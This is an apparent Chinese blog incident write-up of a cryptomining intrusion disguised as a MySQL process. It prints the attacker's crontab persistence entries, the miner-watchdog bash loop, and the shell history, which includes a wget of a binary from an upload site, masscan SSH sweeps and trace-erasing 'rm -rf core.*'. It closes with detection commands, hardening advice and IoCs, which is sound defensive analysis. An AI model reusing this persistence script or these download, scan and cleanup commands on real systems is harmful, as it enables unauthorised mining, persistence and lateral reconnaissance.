记录一次xiandai测试环境的挖矿记录
本文分析了一个伪装成MySQL进程的挖矿脚本的攻击手法,重点剖析了攻击者通过crontab定时任务维持持久化、使用masscan进行大规模网络扫描的行为特征。文章详细解释了攻击者清理痕迹的关键操作rm -rf core.*的意图:删除程序崩溃生成的core文件以隐藏挖矿程序的内存信息。同时提供了防御建议,包括禁用非必要core生成、部署审计规则监控敏感命令等。附录部分还介绍了masscan的安装使
详细文件在 我存在个人服务器里面,后来找不到了
我记得用的包叫:dolorees.tar.gz,奇怪
挖矿循环脚本 - 脚本伪装成mysql的进程 写的有点意思 供大家学习交流一下:
crontab -l
* * * * * /dev/shm/.x/minerv3/1 > /dev/null <&1 2>&1 & disown
@monthly /dev/shm/.x/minerv3/1 > /dev/null <&1 2>&1 & disown
@reboot /dev/shm/.x/minerv3/apachelogs > /dev/null <&1 2>&1 & disown
ps -ef |grep syst3md
mysql 7245 1 0 May23 ? 00:05:43 ./apachelogs -c
#!/bin/bash sleeptime=5 killminers() { pkill obama1 pkill playstation pkill xmrig ?pkill java pkill cnrig } hook1location=`cat /var/tmp/.apachee/.hook1location` apachelogslocation=`cat /var/tmp/.apachee/.apachelogslocation` while : do ?killminers ?if ! crontab -l | grep -q 'cronstart'; ?then ??rm -rf .tempo ??echo "* * * * * ${hook1location} > /dev/null <&1 2>&1 & disown" >> .tempo ??sleep 1 ??echo "@monthly ${hook1location} > /dev/null <&1 2>&1 & disown" >> .tempo ??sleep 1 ??echo "@reboot ${apachelogslocation} > /dev/null <&1 2>&1 & disown" >> .tempo ??crontab .tempo ??rm -rf .tempo ?fi ? ?if ! pgrep -x syst3md > /dev/null ?then ??$hook1location > /dev/null <&1 2>&1 & disown ?fi ?sleep $sleeptime done ./apachelogs
mysql 27424 26956 0 19:41 pts/2 00:00:00 grep --color=auto syst3md
mysql 30904 1 99 17:31 ? 1-19:20:33 /dev/shm/.x/minerv3/syst3md
基本每个服务器提权类具体操作记录如下:
1 nproc
2 ls
3 bash'
4 bash
5 ls
6 top
7 ls
8 cat ga
9 ./masscan
10 ip r
11 wget https://bashupload.com/uUsk1/ZyjhC.
12 mv ZyjhC. masscan
13 chmod +X *
14 chmod +x *
15 ./masscan -p 22 --range 192.168.0.0/16 --range 11.11.0.0/24 --range 10.69.0.0/24 --range 1.1.0.0/24 --range 172.17.0.0/12 --range 10.0.0.0/8 --range 172.16.0.0/12 --range 172.18.0.0/12 --range 172.19.0.0/12 --range 172.20.0.0/12 --range 172.21.0.0/12 --range 172.22.0.0/12 --range 172.23.0.0/12 --range 172.24.0.0/12 --range 172.25.0.0/12 --range 172.26.0.0/12 --range 172.27.0.0/12 --range 172.28.0.0/12 --range 172.29.0.0/12 --range 172.30.0.0/12 --range 172.31.0.0/12 --max-rate 30000 > ips
16 yum install libpcap* -y
17 ./masscan -p 22 --range 192.168.0.0/16 --range 11.11.0.0/24 --range 10.69.0.0/24 --range 1.1.0.0/24 --range 172.17.0.0/12 --range 10.0.0.0/8 --range 172.16.0.0/12 --range 172.18.0.0/12 --range 172.19.0.0/12 --range 172.20.0.0/12 --range 172.21.0.0/12 --range 172.22.0.0/12 --range 172.23.0.0/12 --range 172.24.0.0/12 --range 172.25.0.0/12 --range 172.26.0.0/12 --range 172.27.0.0/12 --range 172.28.0.0/12 --range 172.29.0.0/12 --range 172.30.0.0/12 --range 172.31.0.0/12 --max-rate 30000 > ips
18 yum install libpcap* -y
19 ./masscan -p 22 --range 192.168.0.0/16 --range 11.11.0.0/24 --range 10.69.0.0/24 --range 1.1.0.0/24 --range 172.17.0.0/12 --range 10.0.0.0/8 --range 172.16.0.0/12 --range 172.18.0.0/12 --range 172.19.0.0/12 --range 172.20.0.0/12 --range 172.21.0.0/12 --range 172.22.0.0/12 --range 172.23.0.0/12 --range 172.24.0.0/12 --range 172.25.0.0/12 --range 172.26.0.0/12 --range 172.27.0.0/12 --range 172.28.0.0/12 --range 172.29.0.0/12 --range 172.30.0.0/12 --range 172.31.0.0/12 --max-rate 30000 > ips
20 yum install winpcap* -y
21 yum install libpcap* -y
22 ls
23 rm -rf core.*
最后一步比较重要是毁尸灭迹的,重点说一下:
这个操作 `rm -rf core.*` 是攻击者在清理痕迹时的常见手段,具体作用和背后的意图如下:
---
### **1. 核心目的:删除崩溃转储文件**
- **`core.*` 文件是什么**
Linux系统在程序崩溃(如段错误)时会生成 `core` 或 `core.PID` 文件,包含进程内存的完整转储,可用于调试。路径通常为 `/proc/sys/kernel/core_pattern` 定义的格式。
- **攻击者为何删除它们**
- 挖矿木马运行异常时可能崩溃,留下 `core` 文件
- 这些文件可能包含恶意程序的内存信息(如钱包地址、矿池IP)
- 防止管理员通过 `gdb` 分析出攻击路径或提取敏感数据
---
### **2. 关联攻击手法**
- **掩盖入侵证据**
配合其他痕迹清理操作(如清空日志 `echo > /var/log/auth.log`)
- **对抗检测**
部分安全工具会监控 `core` 文件生成(如审计规则监控 `creat()` 系统调用)
- **隐藏挖矿特征**
某些挖矿软件修改 `core_pattern` 将崩溃日志重定向到 `/dev/null`,但直接删除更彻底
---
### **3. 技术验证方法**
如果发现此操作,可通过以下方式排查:
```bash
# 检查历史命令(可能被清空)
cat ~/.bash_history | grep "rm -rf core"
# 查找残留的core文件(攻击者可能漏删)
find / -name "core.*" -mtime -7 2>/dev/null
# 检查系统core配置(是否被篡改)
cat /proc/sys/kernel/core_pattern
# 检查挖矿进程(常见特征)
top -c | grep -E "minerd|xmrig|kinsing"
```
---
### **4. 防御建议**
- **禁用非必要core生成**
```bash
echo "0" > /proc/sys/kernel/core_uses_pid
echo "/dev/null" > /proc/sys/kernel/core_pattern
```
- **文件删除监控**
部署审计规则监控 `rm` 操作:
```bash
auditctl -w / -p w -k suspicious_rm
```
- **限制敏感命令**
通过 `sudoers` 限制普通用户执行 `rm`:
```
%users ALL=(ALL) !/bin/rm, !/usr/bin/rm
```
---
### **5. 关联攻击指标(IoC)**
- **典型恶意软件**
`xmrig`、`libprocesshider` 等挖矿木马常伴随此操作
- **其他关联行为**
- 修改 `ld.so.preload` 隐藏进程
- 创建定时任务 `crontab -e` 维持持久化
- 扫描 `ssh` 弱密码横向移动
> **取证提示**:如果服务器已被入侵,优先保存内存镜像(`LiME`)和磁盘快照,`core` 文件可能已被覆盖但可用 `extundelete` 尝试恢复。
# 附录 又的朋友没用过 masscan ,可以尝试一下 安装和使用
yum install clang git gcc make libpcap-dev
git clone https://github.com/robertdavidgraham/masscan
cd masscan
make && make install
#如果出现:
#pcap: failed to load libpcap shared library
# HINT: you must install libpcap or WinPcap
#FAIL:ens33: can't open adapter: libpcap not loaded
# 解决方式:
yum install -y libpcap*
#检查安装版本:
masscan -Version
简单对比一下常用扫描工具:
工具 | 速度 | 功能深度 | 协议支持 | 适用场景 |
---|---|---|---|---|
Masscan | ⚡⚡⚡⚡⚡ | 端口状态 | TCP/UDP | 超大规模端口发现 |
Nmap | ⚡⚡ | ⚡⚡⚡⚡⚡ | 全协议 | 精细化的单目标扫描 |
Zmap | ⚡⚡⚡⚡ | ⚡⚡ | 基础协议 | 中等规模协议普查 |
RustScan | ⚡⚡⚡ | ⚡⚡⚡ | 依赖Nmap | 快速扫描+自动深度探测 |
更多推荐
所有评论(0)